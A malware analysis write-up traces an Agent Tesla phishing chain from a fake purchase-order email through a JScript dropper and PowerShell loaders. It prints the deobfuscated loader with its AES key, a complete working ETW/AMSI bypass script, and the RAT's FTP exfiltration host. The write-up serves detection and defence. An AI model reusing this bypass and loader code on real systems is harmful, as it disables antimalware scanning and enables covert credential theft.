Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963

On March 6 2026, 00:44 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
“Ace Exim Pte. Ltd” <export12@bestu-international.shop>ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963export12@bestu-international.shop185.117.90.210

The email passed authentication checks, including SPF, DMARC, and DKIM. However, the sender domain and IP are listed in email blocklists for spam. Furthermore, the sender impersonates “Ace Exim Pte. Ltd”, a legitimate ship recycling company located in Singapore.

The email contains the following attachment:

NameTypeMagicSHA256
AMENDED PO NO. 55963.r00RARRAR archive data, v4, os: Win32756e2527fd5a40547e66224ba0933785c1c6cc607b89510e863f18f5ef4dcc8f

Analysis

JScript Dropper

Extracting the attached RAR archive yields the file “AMENDED PO NO. 55963.JS”. This script is heavily obfuscated so I used box-js to execute the file in a local sandbox and extract IOCs. The following operations were identified:

  • The script looks for the files C:\Users\Public\Mands.png and C:\Users\Public\Vile.png.
  • If the files exist, they are deleted.
  • Text is written to both files using the ADODB.Stream ActiveX object methods1.
  • Finally, the following command is executed:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('...'.Replace('BHNZISEUX','')))))

The command includes a base64 encoded string (omitted) with the character sequence BHNZISEUX added to it multiple times for obfuscation. These sequences are removed, the string is decoded, and the resulting expression is invoked.

I used the following CyberChef recipe to decode the payload:

Regular_expression('User defined','\'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
Find_/_Replace({'option':'Simple string','string':'BHNZISEUX'},'',true,false,false,false)
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

PowerShell Loader (part 1)

The resulting script has comments (likely AI generated) which explain its functionality in detail.

  • The script defines the following variables:
    • $inputBase64FilePath: a file path
    • $FONIA1: base64 encoded AES key
    • $FONIA2: base64 encoded AES IV
  • It reads the Mands.png file, decodes it as base64, and decrypts it with AES.
  • It decodes each line as base64 and executes it as a separate command.
# Specify the path to your text file
$inputBase64FilePath = "C:\Users\PUBLIC\Mands.png"
$FONIA1 = "XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto="
$FONIA2 = "kSkHVO9bPsG2F/4Nq5kUBA=="
# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)
$aes_var.IV =  [System.Convert]::FromBase64String($FONIA2)

# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)

# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)

# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()

# Write the encrypted bytes to MemoryStream
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading

# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()

# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Read the decrypted data from the CryptoStream
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()

# Close streams
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()

# Print the decrypted result
#Write-Output "Decrypted result:"
#Write-Output $decryptedString

# Split the decrypted string into commands assuming they are separated by a newline
#$commands = $decryptedString -split "`n"

# Execute each command
# Split the decrypted string into commands assuming they are separated by a newline
$commands = $decryptedString -split "`n"

# Execute each command
foreach ($encodedCommand in $commands) {
    try {
        # Trim any whitespace
        $encodedCommand = $encodedCommand.Trim()

        # Validate command (optional, adjust as needed)
        if (-not [string]::IsNullOrWhiteSpace($encodedCommand)) {
            # Validate if it is a Base64 string
            if ($encodedCommand -match '^[A-Za-z0-9+/=]+$' -and ($encodedCommand.Length % 4 -eq 0)) {
                # Decode the Base64 command
                $decodedCommand = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedCommand))
                # Write-Host "done"
                # Execute the decoded command
                Invoke-Expression $decodedCommand
            } else {
              #  Write-Host "Skipped invalid Base64 command: $encodedCommand"
            }
        } else {
          #  Write-Host "Skipped an empty command."
        }
        
    } catch {
      #  Write-Host ("Error executing command: {0}" -f $_.Exception.Message)
    }
}

ETW / AMSI Bypass

In order to decode and decrypt the contents of the Mands.png file, I used the following CyberChef recipe:

From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Base64','string':'XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto='},{'option':'Base64','string':'kSkHVO9bPsG2F/4Nq5kUBA=='},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

This resulted in another base64 encoded command obfuscated with HWEAAAJJHWEAAA character sequences, which I then decoded with the following recipe:

Regular_expression('User defined','\'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
Find_/_Replace({'option':'Simple string','string':'HWEAAAJJHWEAAA'},'',true,false,false,false)
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

The resulting script implements multiple techniques to evade detection by Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). At first, it defines memory-related constants, functions, and boilerplate reflection code.

$PAGE_READONLY = 0x02
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260

function IsReadable($protect, $state) {
    return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
}

if ($PSVersionTable.PSVersion.Major -gt 2) {
    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetProcAddress", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetModuleHandle", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $Kernel32 = $TypeBuilder.CreateType()

    try { $ExecutionContext.SessionState.LanguageMode = 'FullLanguage' } catch { }
    try { Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue } catch { }

Then, it locates and patches the EtwEventWrite function, which is responsible for event logging, with shellcode so that it returns immediately, thus preventing event-based rules from being triggered.

    $etwAddr = [Win32.Kernel32]::GetProcAddress([Win32.Kernel32]::GetModuleHandle("ntdll.dll"), "EtwEventWrite")
    if ($etwAddr -ne [IntPtr]::Zero) {
        $oldProtect = 0
        $patchSize = if ([Environment]::Is64BitProcess) { 1 } else { 3 }
        $patchBytes = if ([Environment]::Is64BitProcess) { @(0xC3) } else { @(0xC2, 0x14, 0x00) }
        if ([Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, 0x40, [ref]$oldProtect)) {
            [System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $etwAddr, $patchSize)
            [Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, $oldProtect, [ref]$oldProtect)
        }
    }

Then, it attempts to patch the amsiSession and amsiContext fields of the AmsiUtils assembly. This technique breaks PowerShell script scanning, at least in older implementations2.

    try {
        $amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
        if ($amsiUtils) {
            $amsiUtils.GetField('amsiSession','NonPublic,Static').SetValue($null, $null)
            $amsiUtils.GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
        }
    } catch { }

Also, it attempts to delete the registry keys under HKLM:\SOFTWARE\Microsoft\AMSI\Providers. This technique requires elevated privileges but, if it succeeds, all antimalware products that are registered as AMSI providers are deregistered, effectively disabling script scanning.

    try {
        if (Test-Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue) {
            Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue | ForEach-Object { Remove-Item $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue }
        }
    } catch { }

Finally, it moves on to a more sophisticated technique which disables AMSI by hiding the AmsiScanBuffer function from the .NET Common Language Runtime (CLR)3. This function is responsible for scanning buffers to determine if they contain malware. The CLR dynamically resolves the location of the function and exits gracefully if it cannot be found, in which case .NET binaries can be loaded reflectively without being scanned.

  • The script loops through each memory region.
  • It finds the memory region that maps to clr.dll.
  • It finds the location of the “AmsiScanBuffer” string.
  • It adds write permissions to the memory region.
  • It overwrites the target string with zeroes.
  • Finally, it restores the original memory positions.

To avoid AMSI detecting the “AmsiScanBuffer” string in this script, it is split into four variables.

    $a = "Ams"
    $b = "iSc"
    $c = "anBuf"
    $d = "fer"
    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
    $hProcess = [Win32.Kernel32]::GetCurrentProcess()
    $sysInfo = New-Object Win32.SYSTEM_INFO
    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)

    $clrModules = [System.Collections.ArrayList]::new()
    $address = [IntPtr]::Zero
    $memInfo = New-Object Win32.MEMORY_INFO_BASIC
    $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
    $maxAddr = $sysInfo.lpMaximumApplicationAddress.ToInt64()
    
    while ($address.ToInt64() -lt $maxAddr) {
        $queryResult = [Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))
        if ($queryResult) {
            if ((IsReadable $memInfo.Protect $memInfo.State) -and ($memInfo.RegionSize.ToInt64() -gt 0x1000)) {
                [void]$pathBuilder.Clear()
                $mappedResult = [Win32.Kernel32]::GetMappedFileName($hProcess, $memInfo.BaseAddress, $pathBuilder, $MAX_PATH)
                if ($mappedResult -gt 0) {
                    if ($pathBuilder.ToString().EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
                        [void]$clrModules.Add($memInfo)
                    }
                }
            }
        }
        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
    }

    $maxBufferSize = 0x100000
    $sigLen = $signature.Length
    $buffer = New-Object byte[] $maxBufferSize
    $replacement = New-Object byte[] $sigLen
    $bytesRead = 0
    $bytesWritten = 0
    
    foreach ($region in $clrModules) {
        $regionSize = $region.RegionSize.ToInt64()
        $processed = 0
        
        while ($processed -lt $regionSize) {
            $chunkSize = [Math]::Min($maxBufferSize, $regionSize - $processed)
            $currentAddr = [IntPtr]::Add($region.BaseAddress, $processed)
            
            $readResult = [Win32.Kernel32]::ReadProcessMemory($hProcess, $currentAddr, $buffer, $chunkSize, [ref]$bytesRead)
            if ($readResult -and $bytesRead -gt $sigLen) {
                $searchLimit = $bytesRead - $sigLen
                
                for ($k = 0; $k -le $searchLimit; $k += 4) {
                    if ($buffer[$k] -eq $signature[0]) {
                        $found = $true
                        for ($m = 1; $m -lt $sigLen; $m++) {
                            if ($buffer[$k + $m] -ne $signature[$m]) {
                                $found = $false
                                break
                            }
                        }
                        
                        if ($found) {
                            $targetAddr = [IntPtr]::Add($currentAddr, $k)
                            $oldProtect = 0
                            
                            $protectResult = [Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
                            if ($protectResult) {
                                [void][Win32.Kernel32]::WriteProcessMemory($hProcess, $targetAddr, $replacement, $sigLen, [ref]$bytesWritten)
                                [void][Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $oldProtect, [ref]$oldProtect)
                                return
                            }
                        }
                    }
                }
            }
            $processed += $chunkSize
        }
    }
}

PowerShell Loader (part 2)

After executing the previous script to bypass ETW and AMSI, the loader moves on to the Vile.png file, which is decoded and decrypted much like the Mands.png file. The result in this case is a .NET executable which is loaded reflectively and executed.

# Input Base64 encrypted file path
$inputBase64FilePath = "C:\Users\PUBLIC\Vile.png"

# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)  # Your AES key
$aes_var.IV =  [System.Convert]::FromBase64String($FONIA2)  # Your IV

# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)

# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)

# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading

# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()

# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Decrypt the data into a MemoryStream (no file output)
$decryptedMemoryStream = [System.IO.MemoryStream]::new()
try {
    $buffer = New-Object byte[] 4096
    $bytesRead = 0

    while (($bytesRead = $cryptoStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
        $decryptedMemoryStream.Write($buffer, 0, $bytesRead)
    }
    $decryptedMemoryStream.Position = 0
} catch {
   # Write-Host ("Error during decryption: {0}" -f $_)
} finally {
    $cryptoStream.Close()
    $memoryStream.Close()
}

# Load the decrypted executable from memory
try {
    $decryptedBytes = $decryptedMemoryStream.ToArray()
    $decryptedMemoryStream.Close()

    # Attempt to load as an assembly
    $assembly = [Reflection.Assembly]::Load($decryptedBytes)
    #Write-Host "Assembly loaded successfully. Running..."

    # Invoke the entry point
    $entryPoint = $assembly.EntryPoint
    if ($entryPoint -ne $null) {
        # Create an array of parameters to pass to the main method
        $params = @()
        $entryPoint.Invoke($null, $params)
    } else {
     #   Write-Host "No entry point found in assembly."
    }

} catch {
  #  Write-Host ("Failed to load assembly: {0}" -f $_)
}

Agent Tesla

Finally, after having decrypted the executable, I decompiled it using dnSpyEx and started analysing the code.

The Properties/AssemblyInfo.cs file contains the following metadata, which indicates the executable is masquerading as a Python setup:

[assembly: AssemblyVersion("1.0.0.0")]
[assembly: Guid("ac817265-7162-4840-9799-486144a753d9")]
[assembly: AssemblyCopyright("Copyright (c) Python Software Foundation. All rights reserved.")]
[assembly: AssemblyTrademark("Python Software Foundation")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyProduct("Python 3.11.3 (64-bit)")]
[assembly: AssemblyCompany("Python Software Foundation")]
[assembly: AssemblyDescription("Python 3.11.3 (64-bit)")]
[assembly: AssemblyTitle("setup")]

The f45b853c-c9d3-495e-9acb-d41a4a90029f.csproj project file identifies the assembly name of the executable as f45b853c-c9d3-495e-9acb-d41a4a90029f. A review of the code files, and in particular the configuration class, indicates that this sample is an Agent Tesla Remote Access Trojan.

The configuration dictates which operations are enabled or disabled:

  • PublicIpAddressGrab
  • EnableKeylogger
  • EnableScreenLogger
  • EnableClipboardLogger
  • EnableTorPanel
  • EnableCookies
  • EnableContacts
  • DeleteBackspace
  • AppAddStartup
  • HideFileStartup
  • HostEdit

The PublicIpAddressGrab configuration variable enables sending a request to a service like IP-API.com to retrieve the public IP address of the machine. However, the IpApi configuration variable is set to an empty string so this operation is effectively disabled.

It’s worth noting that a request is made to “http://ip-api.com/line/?fields=hosting” in order to identify whether the IP address belongs to a hosting provider, but the result does not include the IP itself. Also, the user agent of HTTP(S) requests is set to “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0”, to masquerade the network traffic as originating from a Firefox 99 browser on a Windows 10 device.

The EnableCookies variable enables exfiltration of browser credentials from several browsers. However, it is not accessed anywhere in the code so this operation seems to be disabled.

The EnableContacts variable enables exfiltration of contacts from the Thunderbird mail client. Thunderbird stores this data in the “identities” table of the “global-messages-db.sqlite” file.

The HostEdit variable enables editing the hosts file, which may be used to redirect popular domains to malicious IP addresses. However, no redirects are actually configured, as indicated by the text variable being empty in the relevant function:

string text = "";
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string text2 = Path.Combine(folderPath, "\\drivers\\etc\\hosts");
File.AppendAllText(text2, string.Join(Environment.NewLine, text.Split(new char[] { ',' })));

Browser passwords from several browsers are exfiltrated by default and not controlled by the configuration. The data exfiltration occurs over FTP towards the domain identified by the FtpHost configuration variable:

public static string FtpHost = "ftp://ftp.martexbuilt.com.au";

Indicators of Compromise

TypeValueLinksComment
Emailexport12@bestu-international.shopN/ASender address
Domainbestu-international.shopMXToolBox
VirusTotal
Sender domain
Domainftp.martexbuild.com.auVirusTotalC2 server
IP185.117.90.210AbuseIPDBSender IP
Hash756e2527fd5a40547e66224ba0933785c1c6cc607b89510e863f18f5ef4dcc8fVirusTotal
ANY.RUN
AMENDED PO NO. 55963.r00
Hash9be483c90186e01bcbf15272b95633855684f83a700f3dafeaa945dcc25bc707VirusTotal
Triage
AMENDED PO NO. 55963.JS
Hash3638971ea743e157e4f3cd05f91055d26721ac2769e352d8e16eba41d15514d8N/AMands.png (encrypted)
Hash3dc07bd0d06871debc2fca7e38310e29722cfcce75c02b84368070b9d81d788aVirusTotalETW / AMSI bypass
Hash59ce20dd1fc5baca48a92244368b5e94e85920fd78eb409c4366cfc500811656N/AVile.png (encrypted)
Hashfc640a2a31dce7882edbc7ef4c8ce69cc7673ed4a22332685a66b758225ddd64VirusTotal
Hybrid Analysis
Agent Tesla

MITRE ATT&CK® Techniques


  1. Stream object (ADO) | Microsoft Learn

  2. Exploring PowerShell AMSI and Logging Evasion - MDSec

  3. New AMSI Bypss Technique Modifying CLR.DLL in Memory – Practical Security Analytics LLC